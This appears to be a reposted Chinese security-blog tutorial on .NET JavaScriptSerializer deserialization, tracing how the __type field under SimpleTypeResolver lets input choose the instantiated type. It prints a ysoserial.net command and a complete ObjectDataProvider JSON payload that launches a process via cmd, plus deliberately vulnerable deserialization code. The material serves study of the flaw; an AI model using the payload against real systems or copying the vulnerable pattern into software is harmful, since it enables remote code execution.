反序列化学习 -- JavaScriptSerializer

admin 2022年5月5日02:09:19评论25 views字数 2920阅读9分44秒阅读模式

反序列化学习 -- JavaScriptSerializer

JavaScriptSerializer是微软内部自带的api,可以在对象和json字符串之前来回转换。其命名空间位于System.Web.Script.Serialization,结构如下:

反序列化学习 -- JavaScriptSerializer

demo

序列化反序列化demo

using System;using System.Web.Script.Serialization;
namespace JavaScriptDeserialize{ class Person { public string Name { get; set; }
} class Program { static void Main(string[] args) { // no SimpleTypeResolver Person person = new Person() { Name = "jack" }; JavaScriptSerializer serializer = new JavaScriptSerializer(); string v = serializer.Serialize(person); Console.WriteLine(v); Person p = serializer.Deserialize<Person>(v); Console.WriteLine(p.Name);
// SimpleTypeResolver JavaScriptSerializer serializerWithType = new JavaScriptSerializer(new SimpleTypeResolver()); string v1 = serializerWithType.Serialize(person); Console.WriteLine(v1); Person p1 = serializerWithType.Deserialize<Person>(v1); Console.WriteLine(p1.Name); Console.ReadKey(); } }}

输出

{"Name":"jack"}jack{"__type":"JavaScriptDeserialize.Person, JavaScriptDeserialize, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null","Name":"jack"}jack

产生漏洞的原因是在构造函数有两个参数的重载:public JavaScriptSerializer(JavaScriptTypeResolver resolver),其中JavaScriptTypeResolver参数是一个类型解析器,可在序列化字符串中自定义类型的元数据程序集限定名称。

当构造函数使用SimpleTypeResolver参数时,序列化的json中会带有type信息,反序列化时就有漏洞隐患。反序列化方法有三个:

反序列化学习 -- JavaScriptSerializer

这三个方法都是对internal static object Deserialize(JavaScriptSerializer serializer, string input, Type type, int depthLimit)的一个封装

反序列化学习 -- JavaScriptSerializer

调用BasicDeserialize

反序列化学习 -- JavaScriptSerializer

继续调用DeserializeInternal

反序列化学习 -- JavaScriptSerializer

然后

反序列化学习 -- JavaScriptSerializer

根据节点标签不同的类型进入不同的反序列化实现,当节点标签是Object类型时,先DeserializeDictionary拿到键值对字典,如果包含了__type字段,则会进入ConvertObjectToType转换类型。然后一层层进入ConvertObjectToTypeInternal

反序列化学习 -- JavaScriptSerializer

ConvertObjectToTypeInternal中又会进入ConvertDictionaryToObject

反序列化学习 -- JavaScriptSerializer

在ConvertDictionaryToObject中,当满足if (serializer.TypeResolver != null)类型解析器不为空时,尝试获取__type字段的值赋值给obj2,然后强转字符串赋值给text变量。然后通过serializer.TypeResolver.ResolveType(text)拿到type赋值给type2。

反序列化学习 -- JavaScriptSerializer

而类型解析器ResolveType中直接使用Type.GetType获取类型,相当于__type控制对象类型。

反序列化学习 -- JavaScriptSerializer

而type2最终通过Activator.CreateInstance(type2)创建对应类型实例。

反序列化学习 -- JavaScriptSerializer

那么我们传入包含__type字段的json,就会转为对应类型的对象。

攻击链

使用ObjectDataProvider攻击链,通过ObjectDataProvider来创建Process实例。payload如下:

PS E:codeysoserial.netysoserialbinDebug> .ysoserial.exe -f JavaScriptSerializer -g objectdataprovider -c calc{    '__type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',    'MethodName':'Start',    'ObjectInstance':{        '__type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',        'StartInfo': {            '__type':'System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',            'FileName':'cmd', 'Arguments':'/c calc'        }    }}

反序列化代码如下

using System;using System.IO;using System.Web.Script.Serialization;
namespace JavaScriptDeserialize{ class Program { static void Main(string[] args) { // SimpleTypeResolver JavaScriptSerializer serializerWithType = new JavaScriptSerializer(new SimpleTypeResolver()); serializerWithType.Deserialize<Object>(File.ReadAllText("1.json")); Console.ReadKey(); } }}

这里Deserialize<Object>用到了Object类型。也可以用其他的Deserialize重载方法。

该内容转载自网络,更多内容请点击“阅读原文”

反序列化学习 -- JavaScriptSerializer

原文始发于微信公众号(web安全工具库):反序列化学习 -- JavaScriptSerializer

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年5月5日02:09:19
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   反序列化学习 -- JavaScriptSerializerhttp://cn-sec.com/archives/973848.html

发表评论

匿名网友 填写信息